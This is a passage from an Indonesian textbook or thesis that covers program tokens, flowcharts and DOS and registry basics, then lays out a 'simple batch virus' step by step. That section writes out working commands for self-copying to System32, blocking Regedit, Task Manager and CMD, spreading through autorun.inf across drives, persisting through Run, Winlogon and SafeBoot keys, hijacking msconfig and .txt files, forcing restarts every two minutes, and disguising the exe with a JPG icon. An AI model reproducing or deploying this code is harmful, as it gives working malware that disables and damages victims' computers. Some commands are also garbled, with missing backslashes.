Kelima kategori token itu seperti berikut:
a. Identifikasi (identifier)
b. Kata kunci (keyword) / Kata cadangan (reserve word)
c. Mesin pemisah (separator)
d. Harafiah (literal)
6
Wisnu Yudo, Algoritma dan Pemrograman Dengan Bahasa Java. (Yogyakarta: Graha Ilmu,
2012), hal. 48-49
18. e. Operator
1.3. Flowchart7
Dalam mendeskripsikan prosedur penyelesaian permasalahan dalam
bentuk alagoritma, seringkali dijumpai kesulitan jika hanya menggunakan kata-
kata atau kalimat-kalimat saja. Dengan demikian, deskripsinya cenderung sulit
dipahami dan memungkinkan timbulnya kesalahan interprestasi bagi orang lain.
Selain itu, diperlukan banyak keterangan- keterangan yang seringkali justru sulit
dimengerti. Belum lagi, setiap orang tentu memiliki cara-cara tersendiri yang
berbeda sehingga tidak pernah ditemukan keseragaman dalam format
penulisannya.
Untuk alasan-alasan tersebut , maka penggunaan diagram alir (flowchart)
akan banyak membantu dan menguntungkan. Dengan flowchart, langkah-langkah
prosedur penyelesaian permasalahan dapat diekspresikan dengan serangkaian
simbol grafis yang baku dan lebih mudah digunakan. Penggunaan flowchart akan
menghindarkan sejak dini timbulnya kesalahan interprestasi bagi orang lain yang
merupakan awal kegagalan suatu prosedur yang dikembangkan.
Banyak manfaat akan diperoleh apabila kita sering menggunakan
flowchart dalam mengembangkan prosedur pemecahan masalah komputasi.
Pertama, kita terbiasa berfikir secara sistematis dan terstruktur dalam setiap
kesempatan. Kedua, dengan menggunakan flowchart , kita akan lebih mudah
untuk mengecek dan menemukan bagian-bagian prosedur yang tidak valid dan
bertele-tele. Selain itu, prosedur yang dikembangkan akan lebih mudah untuk
dipahami oleh orang lain, sehingga tidak menimbulkan kesalahan interprestasi
apabila mau menerapkan prosedur yang kita kembangkan.
Flowchart dapat diartikan sebagai suatu alat atau sarana yang
menunjukan langkah-langkah yang harus dilaksanakan dalam menyelesaikan
suatu permasalahan untuk komputasi dengan cara mengekspresikannya ke dalam
serangkaian simbol-simbol grafis khusus. Flowchart menolong analisis dan
7
EdhySutanta,AlgoritmaTeknikPenyelesaianPermasalahanUntukKomputasi (Yogyakarta:
GrahaIlmu, 2004), hal. 27-28
19. programmer untuk memecahkan masalah ke dalam segmen-segmen yang lebih
kecil dan menolong dalam menganalisis alternatif-alternatif lain dalam
pengoperasian. Flowchart biasanya mempermudah penyelesaian suatu masalah
khususnya masalah yang perlu dipelajari dan dievaluasi lebih lanjut. Adapun
tujuan membuat flowchart, yaitu:
1. Menggambarkan suatu tahapan penyelesaian masalah.
2. Secara sederhana, terurai, rapi, dan jelas.
3. Menggunakan simbol-simbol standar.
Simbol-simbol yang dipakai dalam flowchart dibagi menjadi 3
kelompok, yaitu:
1. Flow Direction Symbols, digunakan untuk menghubungkan simbol satu
dengan yang lain yang sering disebut dengan connecting line.
2. Processing Symbols, menunjukan jenis operasi pengolahan dalam suatu
proses prosedur
3. Input Output Symbols, menunjukan jenis peralatan yang digunakan sebagai
media input atau output.
Dalam pembuatan flowchart tidak ada rumus atau patokan yang bersifat
mutlak. Karena flowchart merupakan gambaran hasil pemikiran dalam
menganalisa suatu masalah dengan komputer. Sehingga flowchart yang dihasilkan
dapat bervariasi antara satu pemrogram dengan pemrogram lainnya.Namun secara
garis besar, setiap pengolahan selalu terdiri dari tiga bagian utama, yaitu;
1. Input berupa bahan mentah.
2. Proses pengolahan.
3. Output berupa bahan jadi.
Untuk pengolahan data dengan komputer, dapat dirangkum urutan dasar
untuk pemecahan suatu masalah, yaitu:
1. Start: berisi instruksi untuk persiapan perlatan yang diperlukan sebelum
menangani pemecahan masalah.
2. Read: berisi instruksi untuk membaca data dari suatu peralatan input.
3. Process: berisi kegiatan yang berkaitan dengan pemecahan persoalan sesuai
dengan data yang dibaca.
20. 4. Write: berisi instruksi untuk merekam hasil kegiatan ke perlatan output.
5. End: mengakhiri kegiatan pengolahan.
1.3.1. Pedoman-pedoman dalam Membuat Flowchart8
Bila seorang analis dan programmer akan membuat flowchart, ada
beberpa petunjuk yang harus diperhatikan, seperti:
1. Flowchart digambarkan dari halaman atas ke bawah dan dari kiri ke kanan.
2. Aktivitas yang digambarkan harus didefinisikan secara hati-hati dan definisi
ini harus dapat dimengerti oleh pembacanya.
3. Kapan aktivitas dimulai dan berakhir harus ditentukan secara jelas.
4. Setiap langkah dari aktivitas harus diuraikan dengan menggunakan deskripsi
kata kerja, misalkan menghitung pajak penjualan.
5. Setiap langkah dari aktivitas harus berada pada urutan yang benar.
6. Lingkup dan range dari aktifitas yang sedang digambarkan harus ditelusuri
dengan hati-hati. Percabangan-percabangan yang memotong aktivitas yang
sedang digambarkan tidak perlu digunakan dan percabangannya diletakkan
pada halaman yanga terpisah atau dihilangkan seluruhnya bila
percabangannya tidak berkaitan dengan sistem.
7. Gunakan simbol- simbol flowchart yang standar.
1.3.2. Jenis-jenis Flowchart
Flowchart terbagi atas 5 jenis, yaitu:
1. Flowchart Sistem
Flowchart sistem merupakan bagan yang menunjukan alur kerja atau apa
yang sedang dikerjakan di dalam sistem secara keseluruhan dan menjelaskan
urutan dari prosedur-prosedur yang ada di dalam sistem. Dengan kata lain,
flowchart ini merupakan deskripsi secara grafik dari urutan prosedur-prosedur
yang terkombinasi yang membentuk suatu sistem.
Flowchart sistem terdiri dari data yang mengalir melalui sistem dan proses
yang mentrasformasikan data itu. Data dan proses dalam flowchart sistem
8
Normalia dan Nikous Soter, Struktur Data danAlgoritma (Medan: USU Press, 2007), hal. 5-16
21. dapat digambarkan secara online (dihubungkan langsung dengan komputer)
atau offline (tidak dihubungkan langsung dengan komputer, misalnya mesin
tik, cash register atau kalkulator).
2. Flowchart paperwork/Flowchart dokumen
Flowchart paperwork menelusuri alur dari data yang ditulis melalui sistem.
Flowchart paperwork sering disebut juga dengan flowchart dokumen.
Kegunaan utamanya adalah untuk menelusuri alur form dan laporan sistem
dari satu bagian ke bagian lain baik bagaimana alur form dan laporan
diproses, dicatat dan disimpan.
3. Flowchart Skematik
Flowchart skematik mirip dengan flowchart sistem yang menggambarkan
suatu sistem atau prosedur. Flowchart skematik ini bukan hanya
menggunakan simbol-simbol flowchart standar, tetapi juga menggunakan
gambar-gambar komputer, peripheral, form-form atau peralatan lain yang
digunakan dalam sistem.
Flowchart skematik digunakan sebagai alat komunikasi antara analis sistem
dengan seseorang yang tidak familiar dengan simbol-simbol flowchart yang
konvensional. Pemakaian gambar sebagai ganti dari simbol-simbol flowchart
akan menghemat waktu yang dibutuhkan oleh seseorang untuk mempelajari
simbol abstrak sebelum dapat mengerti flowchart.
Gambar- gambar ini mengurangi kemungkinan salah pengertian tentang
sistem, hal ini disebabkan oleh ketidak-mengertian tentang simbol-simbol
yang digunakan. Gambar-gambar juga memudahkan pengamat untuk
mengerti segala sesuatu yang dimaksudkan oleh analis, sehingga hasilnya
lebih menyenangkan dan tanpa ada salah pengertian
4. Flowchart Program
Flowchart program dihasilkan dari flowchart sistem. Flowchart Program
merupakan keterangan yang lebih rinci tentang bagaimana setiap langkah
program atau prosedur sesungguhnya dilaksanakan. Flowchart ini
menunjukan setiap langkah program atau prosedur dalam urutan yang tepat
saat terjadi. Programmer menggunakan flowchart program untuk
22. menggambarkan urutan instruksi dari program komputer. Analis Sistem
menggunakan flowchart program untuk menggambarkan urutan tugas-tugas
pekerjaan dalam suatu prosedur atau operasi.
5. Flowchart Process
Flowchart process merupakan teknik penggambaran rekayasa industrial yang
memecahkan dan menganalisi langkah-langkah selanjutnya dalam suatu
prosedur atau sistem. Flowchart proses digunakan oleh perekayasa industrial
dalam mempelajari dan mengembangkan proses-proses manufacturing.
Dalam analisi sistem, Flowchart ini digunakan secara efektif untuk
menelusuri alur suatu laporan atau form.
1.3.3. Simbol- Simbol Flowchart
Simbol- simbol flowchart yang biasanya dipakai adalah simbol- simbol
flowchart standar yang dikeluarkan oleh American National Standard Institure
(ANSI) dan Internasional Standardization Organization (ISO).
Simbol-simbol flowchart standar adalah sebagai berikut
Tabel 1.1. Simbol-simbol Flowchart
Simbol Arti
Terminator
Awal ataupun akhir flowchart
Input/ output
Merepresentasikan input data atau output data yang diproses atau
informasi
Proses
Mempresentasikan operasi
23. Tabel 1.1. Simbol-simbol Flowchart (Lanjutan)
Simbol Arti
Penghubung (on page
reference) Penghubung dari bagian flowchart khususnya
halaman yang sama
Off- page reference
Penghubung bagan flowchart untuk halaman yang
berbeda.
Predefined Process
Rincian operasi berada di tempat lain
Preparation
Pemberian harga awal
Punched Card
Input/ output yang menggunakan kartu berlubang
Dokumen
Input atau output format yang dicetak
On-line Storage
Input/output yang mengguanakan penyimpanan
akses langsung
24. Tabel 1.1. Simbol-simbol Flowchart (Lanjutan)
Simbol Arti
Magnetic Disk
Input/ output yang menggunakan disk magnetik
1.4. Sistem Virus Batch Sederhana
1.4.1. Pendahuluan
Saat ini perkembangan teknologi komunikasi dan informasi sangat pesat,
sehingga manusia semakin mudah menjalankan aktivitasnya sehari-hari. Sebagian
besar orang bekerja dengan komputer, baik menggunakan desktop PC, laptop atau
notebook. Bahkan sampai semua data pekerjaan, dokumentasi, koleksi foto, lagu,
video, dan lain-lain, semuanya dapat disimpan dalam perangkat PC maupun
Notebook tersebut, sehingga memudahkan apabila akan digunakan sewaktu-
waktu, tetapi sering perangkat elektronik tersebut kurang mendapat perhatian
lebih dari para pengguna maupun pemiliknya, terutama di sisi keamanan. Contoh:
virus yang menyerang PC maupun Notebook yang mengganggu dokumen atau
aplikasi dalam komputer, lebih parah lagi aplikasi menjadi tidak dapat dijalankan
atau dokumen menjadi rusak.Perkembangan virus pun tidak kalah pesatnya. Jenis
virus yang sudah beredar sangat beragam, salah satunya virus batch, virus
sederhana yang menggunakan perintah-perintah dalam DOS. Sebenarnya jenis
virus batch ini tidak berbeda dengan virus-virus yang lain, hanya proses
pembuatannya tidak memerlukan bahasa pemrograman tingkat lanjut dengan
beberapa baris perintah saja virus jenis ini bisa menjadi virus sederhana yang
sifatnya hanya mengganggu, atau menjadi virus yang cukup berbahaya. Penelitian
ini dilakukan agar dapat lebih mengetahui tentang seluk beluk virus batch dan
bahayanya, mengetahui metode penyerangan dan penyebaran virus, serta
memberikan manfaat kepada user mengetahui dan menyadari apakah
komputernya telah terserang virus batch atau belum, sehingga dapat mencegah
virus batch menginfeksi komputer user. Salah satu cara agar virus batch tidak
25. masuk adalah dengan mencegah user mengakses fitur-fitur tertentu, seperti
registry editor, command prompt, task manager, dan lain sebagainya. Menurut
(Mufadhol, 2008), dalam tulisannya menjelaskan pengertian, cara penyebaran,
jenis-jenis virus komputer, kondisi komputer apabila terserang virus, dan tips
pencegahan serangan virus. Dari tulisan tentang seluk beluk virus komputer ini
membantu meningkatkan kesadaran dan menambah pengetahuan user terhadap
virus komputer serta caracara pencegahannya, salah satunya pemasangan
antivirus. Tinjauan pustaka lainnya (Suhandi,2009), meneliti perilaku virus H1N1
pada sistem operasi windows dan membuat aplikasi antivirus songket
menggunakan metode Behavior Blocking Detection untuk menangkal virus H1N1
tersebut. Aktivitas serangan virus secara umum dimulai akibat “kecerobohan”
user, yaitu ketika user men-double click suatu file yang telah terinfeksi oleh virus.
File-file virus tersebut biasanya berekstensi *.bat, *.exe, *.scr, *.vbs. File-file
dengan ekstensi seperti itu adalah file program yang dapat diakses atau dijalankan
secara langsung oleh komputer (Windows) tanpa perantara software tambahan dari
Windows. Begitulah asal mula kehidupan virus di komputer user. (Rafrastara,
2007).
Semakin majunya perkembangan virus sekarang ini perlu diwaspadai
juga, karena virus tidak hanya bisa menginfeksi file-file program seperti
disebutkan di atas, tapi bisa juga menginfeksi file gambar, video, lagu, juga file-
file dokumen dan semacamnya. Jadi tidak tertutup kemungkinan bila suatu saat
file dokumen tiba-tiba tidak bisa dibuka lagi, atau menghilang dengan tiba-tiba.
Kemungkinan-kemungkinan seperti itu harus tetap diwaspadai. Dalam dunia
perkomputeran saat ini, virus bukanlah suatu hal yang menggemparkan. Bahkan
mungkin sudah menjadi hal yang biasa di kalangan para pengguna komputer.
Mulai dari virus yang sederhana, hingga virus yang sifatnya sangat berbahaya
yang memiliki kemampuan yang bersifat merusak baik sistem maupun data yang
ada di dalam suatu komputer. Definisi Virus adalah suatu program malware
(software jahat) yang sifatnya mengganggu dan cenderung merusak kinerja sistem
atau file-file tertentu yang merupakan sasaran utama mereka. Biasanya memiliki
kemampuan untuk berkembang biak dan memanfaatkan program lain untuk
26. penyebarannya. Syarat agar suatu program dapat disebut sebagai virus, antara lain
: mampu menggandakan diri hingga ke removable disk, mampu menyembunyikan
proses kerjanya, mampu memanipulasi file atau folder, mampu memanipulasi
registry. Jenis virus bisa dibedakan menjadi beberapa bagian, yaitu:
1. Virus Boot Sector, merupakan virus umum, menggandakan diri dengan
cara menindih boot sector asli pada sebuah disk, sehingga pada saat
booting virus akan langsung dijalankan ke memori. Virus file, virus ini
menyerang file yang dijalankan oleh suatu sistem operasi. Biasanya
menyerang com atau exe.
2. Virus Direct Action, virus ini akan masuk ke memori untuk menjalankan
file lainnya, lalu menjalankan program lain untuk menipu. Multi Partition
Virus, merupakan gabungan dari virus boot sector dan virus file.
3. Polymorphic virus, virus dirancang untuk mengelabui program antivirus,
yaitu dengan mengubah struktur dirinya setelah menjalankan perintah.
4. Stealth virus, mengendalikan instruksi-instruksi level DOS dengan
menguasai tabel interrupt.
5. Macro virus, ditulis oleh bahasa pemrograman dari suatu aplikasi,
sehingga bersifat platform independent.
Karakteristik Virus umumnya mempunyai struktur yang hampir sama,
dan dapat dibedakan menjadi beberapa kode, yaitu : (Shadewa, 2007) kode
penanda virus, kode penggandaan virus, kode pertahanan dan penyembunyian
deteksi, kode pemicu, dan kode manipulasi. Kode penanda virus, setiap virus pasti
mempunyai identitas masing-masing. Bisa dibuat dengan karakter atau jumlah
byte tertentu sebagai marker sesuai dengan keinginan si pembuat. Contoh, virus A
mempunyai penanda X, dan virus B mempunyai penanda Y, maka virus-virus
tersebut akan dikenali antivirus sesuai penandanya. Kode penggandaan virus,
suatu program tidak dapat dikatakan virus jika tidak dapat menggandakan dirinya.
Banyak cara atau jurus untuk menggandakan diri yang digunakan oleh virus-virus
sekarang ini. Kode pertahanan dan penyembunyian deteksi, kode ini diperlukan
virus untuk mengecoh antivirus, bisa dengan mengenkripsi file virus tersebut,
menyembunyikan proses kerja pada komputer korban, ataupun menampilkan
27. pesan pengalihan ketika user mencoba menjalankan program antivirus. Kode
pemicu, setiap virus mempunyai program atau kode untuk mengaktifkan program
utamanya. Program atau kode ini bisa dipicu dengan bermacam-macam cara,
contohnya virus diaktifkan ketika user membuka file tertentu pada jendela
Explorer. Atau dengan memakai nama file yang sedang populer dan menarik
perhatian user untuk menjalankan file tersebut. Kode manipulasi, kode ini berguna
untuk menghapus file, menjalankan aplikasi tertentu untuk mencuri dan
mengirimkan data ke sebuah email. Batasan manipulasi terserah kepada
pembuatnya, karena hal inilah maka virus dikategorikan dalam program yang
bersifat merusak.
Cara kerja sebuah virus diterangkan sebagai berikut : Setelah program
virus diklik oleh user, maka virus akan menjalankan proses, kemudian virus
menjalankan kode pertahanan diri, yaitu dengan menyembunyikan proses yang
terjadi di komputer, selanjutnya virus akan menjalankan kode penggandaan diri
yaitu dengan mencari file berekstensi tertentu, seperti .exe, .jpg, .doc, dan lain-
lain. Selanjutnya virus akan memeriksa apakah file tersebut ada kode penandanya,
jika file tersebut tidak ada kode penandanya maka virus akan menginfeksi file
yang sehat tersebut, atau menyisipkan kode virus, kemudian virus akan mencari
file yang belum terinfeksi, sedangkan jika virus tidak menemukan penanda pada
file yang dicari, maka virus akan mencari file selanjutnya yang belum terinfeksi.
Kemudian virus akan menjalankan kode manipulasi, misalnya menghapus data
atau menjalankan kode penggandaan diri lagi, setelah kode tersebut dijalankan,
virus akan mengerjakan kode pertahanan kembali, yaitu dengan cara mengenkrip
file virus untuk menyembunyikan diri dari pendeteksian antivirus. Batch file
merupakan salah satu program yang dapat diakses dan dijalankan secara langsung
oleh sistem Windows tanpa bantuan program pendukung lainnya. Batch file ini
memiliki ekstensi file .bat. Selain batch file, windows juga dapat mengeksekusi
program yang berekstensi .com, .exe, dan lain sebagainya. Perintah-perintah yang
dipahami oleh batch file adalah perintah-perintah yang sifatnya internal maupun
eksternal pada DOS (cmd.exe pada Windows). Perintah internal adalah perintah
yang dapat dieksekusi secara langsung tanpa adanya program tambahan.
28. Sedangkan perintah eksternal adalah suatu perintah yang membutuhkan program
tambahan untuk bisa menjalankannya, seperti attrib.exe, format.com, dan lain
sebagainya. Jadi batch file mampu mengeksekusi perintah command prompt
dengan sekali eksekusi saja. Berikut beberapa contoh perintah internal dan
eksternal yang ada dalam DOS
Tabel 1.2. Contoh Perintah Internal DOS
No Perintah Fungsi
1 Cls Membersihkan layar
2 Cd Memanggil direktori
3 Dir Menampilkan isi direktori atau drive
4 Copy Menyalin file
5 Del Menghapus file
6 Ren Mengganti nama file
7 Md Membuat direktori baru
8 Rd Menghapus direktori
9 Date Menampilkan dan mengatur tanggal
10 Time Menampilkan dan mengatur waktu
11 Echo Mencetak string
12 Format Memformat partisi atau drive
13 Unformat Partisi atau drive yang terformat
14 Merecover Merecover file yang terhapus
undelete
15 Attrib Mengatur atribut file
16 Edit Membuat atau mengedit file
17 Label Menentukan label disk
18 Tree Menampilkan direktori beserta sub-subnya
19 Deltree Menghapus direktori beserta sub-subnya
20 Xcopy Menyalin satu direktori penuh
21 Chdsk Melakukan pengecekan pada disk
22 Scandisk Mendiagnosa permasalahan pada disk
29. Registry windows merupakan ruang kontrol utama dari sistem operasi
Windows. Hal ini dikarenakan registry merupakan basis data pusat pengaturan
atau konfigurasi Windows serta informasi dari segala hal yang ada di dalam
komputer, mulai dari hardware yang terpasang, port-port yang digunakan,
software yang terinstal, hingga informasi seputar pengguna lain juga terekam
secara rapi dalam basis data tersebut. Semua isi registry tersebut dapat
dimodifikasi melalui jendela Registry Editor. Isi dari registry secara umum terdiri
dari dua unsur, yaitu Hive dan Value Entry. Hive merupakan sarang atau cabang
utama dari registry yang berfungsi menangani kasus-kasus tertentu. Umumnya
dalam registry terdapat 5 macam hive, yaitu : HKEY_CLASSES_ROOT,
merupakan Subkey dari HKEY_LOCAL_MACHINE Software. Biasa digunakan
untuk mengatur file asosiasi ketika membuka suatu file melalui Windows
Explorer. HKEY_CURRENT_USER, yang akan digunakan untuk menyimpan
informasi konfigurasi dari user yang sedang aktif saat ini, dan merupakan subkey
dari HKEY_USERS. Pada key ini dapat dilakukan pengaturan yang diantaranya
adalah pengaturan seputar Folder, Control Panel, Windows Explorer, dan
tampilan layar yang digunakan oleh user tersebut. HKEY_LOCAL_MACHINE,
berisi informasi seputar hardware, software, dan lain sebagainya yang terpasang
dan berhubungan dengan Windows. Key ini berlaku untuk semua aplikasi user.
HKEY_USERS, merupakan induk dari HKEY_CURRENT_USER. Fungsinya
adalah menyimpan informasi semua user yang ada di komputer tersebut.
HKEY_CURRENT_CONFIG, memuat informasi seputar profile hardware yang
digunakan pada suatu komputer. Value Entry, merupakan nilai yang dapat
berfungsi sebagai sebuah perintah yang biasanya digunakan untuk melakukan aksi
atau manipulasi tertentu. Value entry terdiri dari 3 bagian, yaitu : DWORD value
(REG_DWORD), merupakan data dengan nilai 4 bytes. Namun nilai yang sering
dipakai dalam DWORD value adalah nilai boolean, yaitu 1 (benar) dan 0 (salah).
String value (REG_SZ), merupakan jenis karakter biasa atau string standard yang
umum digunakan oleh manusia. Binary value (REG_BINARY), merupakan data
atau nilai mentah, seperti nilai yang dapat dipahami oleh komputer, yaitu biner.
30. Informasi seputar hardware diletakkan sebagai data biner, namun pada Registry
Editor dapat dilihat dalam format Hexadecimal.
1.4.2. Metode
Virus batch dikonversikan menjadi file .exe, dengan menggunakan icon
file gambar (icon file JPG), bukan icon file aplikasi. Hasil akhir akan diberi nama
file virusku.exe. Algoritma virus batch sederhana sebagai berikut: Kopikan diri
sendiri ke folder WindowsSystem32. Matikan Regedit. Nonaktifkan Folder
Options. Matikan Task Manager. Nonaktifkan Command Prompt. Buat file
autorun.inf. Kopikan diri sendiri dan file autorun.inf ke drive C, D, E, F,G, H.
Sembunyikan file-file yang memiliki atribut System File. Sembunyikan File
Extension. Buat file restart.bat di direktori C:Windows. Buat Schedule Task
untuk menjalankan file restart.bat setiap 2 menit. Aktifkan virus dalam mode
StartUp. Alihkan eksekusi msconfig ke file virus. Alihkan eksekusi file *.txt ke
file virus. Aktifkan virus dalam Safe Mode dan Safe Mode With Command
Prompt. Jalankan game Minesweeper bawaan Windows. Konversikan file
contoh3.bat menjadi file virusku.exe.
1.4.3. Pembahasan
Implementasi dari diagram alir dan algoritma pembuatan virus batch
adalah sebagai berikut: Kopikan diri sendiri ke folder WindowsSystem32.
Sebelumnya periksa terlebih dahulu keberadaan diri sendiri di folder
WindowsSystem32. Jika belum ada, kopikan diri sendiri ke folder tersebut
dengan perintah : If not exist C:Windowssystem32 virusku.exe copy virusku.exe
C:Windowssystem32. Matikan Regedit, yang akan digunakan metode yang
berbeda, jadi bukan lagi melakukan bloking pada program registry editor, tetapi
langsung menutup program registry editor setiap kali dijalankan. Sehingga
registry editor tidak dapat dibuka/dijalankan dengan perintah: REG ADD
“HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File Execution
Optionsregedit.exe” /v debugger /t REG_SZ /d “tskill regedit” /f Nonaktifkan
Folder Options, dengan menyembunyikan fasilitas Folder Options, sebagai salah
31. satu metode pertahanan diri bagi file virus. Dengan perintah: REG ADD
HKCUMicrosoftWindowsCurrent VersionPoliciesExplorer/v NoFolderOptions
/t REG_DWORD /d 1 /f Matikan Task Manager, metode yang digunakan sama
seperti untuk mematikan registry editor pada poin sebelumnya. Sehingga setiap
kali Task Manager dijalankan akan langsung ditutup kembali dengan erintah:
REG ADD “HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File
Execution Options taskmgr.exe” /v debugger /t REG_SZ /d “tskill taskmgr” /f
Nonaktifkan Command Prompt, disini Command Prompt akan diblok, sehingga
tidak dapat digunakan. Namun untuk file batch dapat tetap berjalan dengan
perintah: REG ADD HKCUSoftwarePolicies MicrosoftWindowsSystem/v
DisableCMD /t REG_DWORD /d 2 /f Buat file autorun.inf., sebelumnya periksa
terlebih dahulu keberadaan file autorun.inf di folder aktif saat itu. File virusnya
akan berbentuk .exe file. if not exist autorun.inf goto mk_auto. Jika tidak
ditemukan, barulah dibuat file autorun-nya dengan perintah: :mk_auto Echo
[Autorun] > autorun.inf Echo open = virusku.exe >> autorun.inf Echo
shell1=Scan with antivirus >> autorun.inf Echo shell1Command=virusku.exe
>> autorun.inf Echo shellexecute=virusku.exe >> autorun.inf Kopikan diri
sendiri dan file autorun.inf ke drive C, D, E, F,G, H, untuk peng-copyan file virus
ke banyak tempat, berikut perintahnya. For %%x in (C D E F G) do copy
virusku.exe %%x: Sedangkan untuk file autorun-nya juga dilakukan secara
terpisah. For %%y in (C D E F G) do copy autorun.inf %%y: Sembunyikan file-
file yang memiliki atribut System File. Memastikan file-file dengan atribut super
hidden tidak ditampakkan dengan perintah. REG ADD
HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /v
ShowSuperHidden /t REG_DWORD /d 0 /f Sembunyikan File Extension, akan
dicoba untuk menyembunyikan ekstensi file, untuk sedikit menyamarkan file
virus yang akan dibuat, agar user tidak curiga. REG ADD
HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /v
HideFileExt /t REG_DWORD /d 1 /f Buat file restart.bat di direktori C:Windows.
Sebelum membuat file restart.bat, akan diperiksa terlebih dahulu apakah file
tersebut sudah ada atau belum di folder C:Windows. Bila belum ada, baru
32. kemudian dibuat file restart.bat tersebut. If not exist C:Windowsrestart.bat goto
mk_restart Selanjutnya isi dari fungsi mk_restart untuk membuat file restart.bat. :
mk_restart Echo shutdown –r –t 30 -c”Mohon Maaf Lahir & Batin” –f >
C:Windowsrestart.bat Buat Schedule Task untuk menjalankan file restart.bat
setiap 2 menit. Jadi setiap windows berjalan selama 2 menit, file restart.bat akan
dijalankan. Schtasks /create /sc minute /mo 2 /tn Yohoo /tr C:Windowsrestart.bat
/ru System Aktifkan virus dalam mode StartUp. Setiap kali windows berjalan
maka virus juga berjalan seiring dengan file-file system yang lain. REG ADD
HKLMSoftwareMicrosoft WindowsCurrent VersionRun /v privacy /t REG_SZ
/d C:Windowssystem32 virusku.exe /f Alihkan eksekusi msconfig ke file virus.
Saat menjalankan program msconfig, maka yang akan jalan adalah file virus,
bukan jendela System Configuration Utility yang akan terbuka. REG ADD
“HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File Execution
Optionsmsconfig.exe”/vdebugger/tREG_SZ/d“C:Windowssystem32virusku.ex/f
Alihkan eksekusi file *.txt ke file virus. Hal ini dilakukan agar nantinya pada saat
file .txt dijalankan, maka yang terbuka bukanlah notepad, melainkan file virus.
REG ADD HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer
FileExts.txt /v Application /t REG_SZ /d "%SystemRoot%system32virusku.exe"
/f Aktifkan virus dalam Safe Mode dan Safe Mode With Command Prompt. Hal ini
bertujuan agar virus bisa tetap jalan di Safe Mode. Untuk Safe Mode sebagai
berikut:REGADD“HKLMSoftwareMicrosoftWindowsNTCurrentVersionWinlo
gon”/vShell/tREG_SZ/d“Explorer.exe,C:WindowsSystem32virusku.exe”/f
sedangkan untuk Safe Mode With Command Prompt sebagai berikut: REG ADD
HKLMSystemControlSet001 ControlSafeBoot /v AlternateShell /t REG
C:Windows System32virusku.exe /f Jalankan game Minesweeper bawaan
Windows. Sebenarnya ini hanya digunakan sebagai penanda bahwa virus sudah
dijalankan. Konversikan file contoh3.bat menjadi file virusku.exe. Proses ini
dilakukan setelah virus jadi. Langkah selanjutnya mengkonversi file .bat menjadi
.exe, yaitu melakukan konversi agar file contoh3.bat dapat menjadi file
virusku.exe, sesuai dengan algoritma. Proses ini nantinya akan menggunakan
software untuk membuat konversi file *.bat menjadi *.exe, salah satunya yang
33. sudah digunakan disini adalah Bat to EXE Converter v1.4. Pemilihan untuk
menggunakan software Bat to EXE Converter dikarenakan langkah
pengoperasiannya yang sangat mudah sekali.
Gambar 1.1. Bat to Exe Converter
Pada Gambar 1.1. terlihat ada empat field di bagian atas merupakan bagian inti
yang digunakan untuk proses konversi ini, yaitu: Batchfile, tempat untuk
menentukan file .bat yang akan dikonversi. Include, tempat untuk menentukan file
apa saja yang disertakan dalam file .exe hasil dari proses konversi. Iconfile,
tempat untuk menentukan icon apa yang akan digunakan untuk file .exe hasil
konversi. Save as, untuk menentukan nama file .exe hasil konversi. Di bagian
bawah ada bagian Additional Informations, untuk berbagai keterangan dari file
.exe hasil konversi. Kemudian yang paling penting untuk sebuah program virus,
pilihan fitur yang terletak di atas tombol Compile, yaitu Ghost Application. Virus
tentu saja tidak ingin diketahui aktivitasnya, maka saat proses konversi digunakan
pilihan Ghost Application, agar tidak muncul jendela konfirmasi maupun
34. keterangan saat file virus nantinya dijalankan. Setelah proses konversi selesai,
akan terbentuk file baru yang bernama virusku.exe, yang terihat pada gambar 1.2.
Gambar 1.2. Hasil Konversi file .bat
Pada Gambar 1.3. terlihat ada file virusku.exe dengan icon gambar (icon file
JPG). Contoh virus ini filenya berbentuk exe file, atau memiliki ekstensi .exe,
biasanya tipe file aplikasi. Saat file virusku.exe dijalankan atau dieksekusi akan
muncul jendela game Minesweeper bawaan Windows. Tahap terakhir yang
dilakukan adalah mengkonversi file virus agar mudah membaur dan dapat
mengelabui user. Pada contoh ini digunakan icon file jpg. Sebenarnya bisa juga
menggunakan icon-icon lain, hanya saja nantinya akan mempengaruhi besarnya
file virus yang dihasilkan.
Gambar 1.3. Minesweeper
35. 1.4.4. Kesimpulan
Contoh virus batch sederhana yang telah dibuat dan diujikan ke dalam
sistem operasi Windows, ternyata bisa dikatakan cukup berhasil, hanya dengan
menggunakan file Batch sebagai media pemrogramannya, dan perintah-perintah
yang bahasa pemrogramannya cukup sederhana, bisa jadi virus yang cukup
berbahaya, tetapi semuanya itu tergantung dari kreatifitas si virus maker. Isi dari
file virus juga tidak terlalu banyak, hanya beberapa baris perintah saja sudah bisa
merepotkan korban. Untuk virus batch ini ukuran filenya relatif lebih kecil. Dan
dapat dilihat yang menjadi sasaran penyerangan sebagian besar adalah registry
Windows, tetapi tidak menutup kemungkinan untuk melakukan penyerangan ke
file-file yang ada, misal file dokumen, gambar, dan lain-lain, yang bisa
menyebabkan file-file tersebut tidak dapat digunakan, menghilang, dan lain
sebagainya. Pengembangan yang dapat dilakukan dari penelitian virus batch
sederhana ini adalah membuat antivirusnya, sehingga selain mengetahui seluk
beluk virus batch juga dapat menangkal virus tersebut.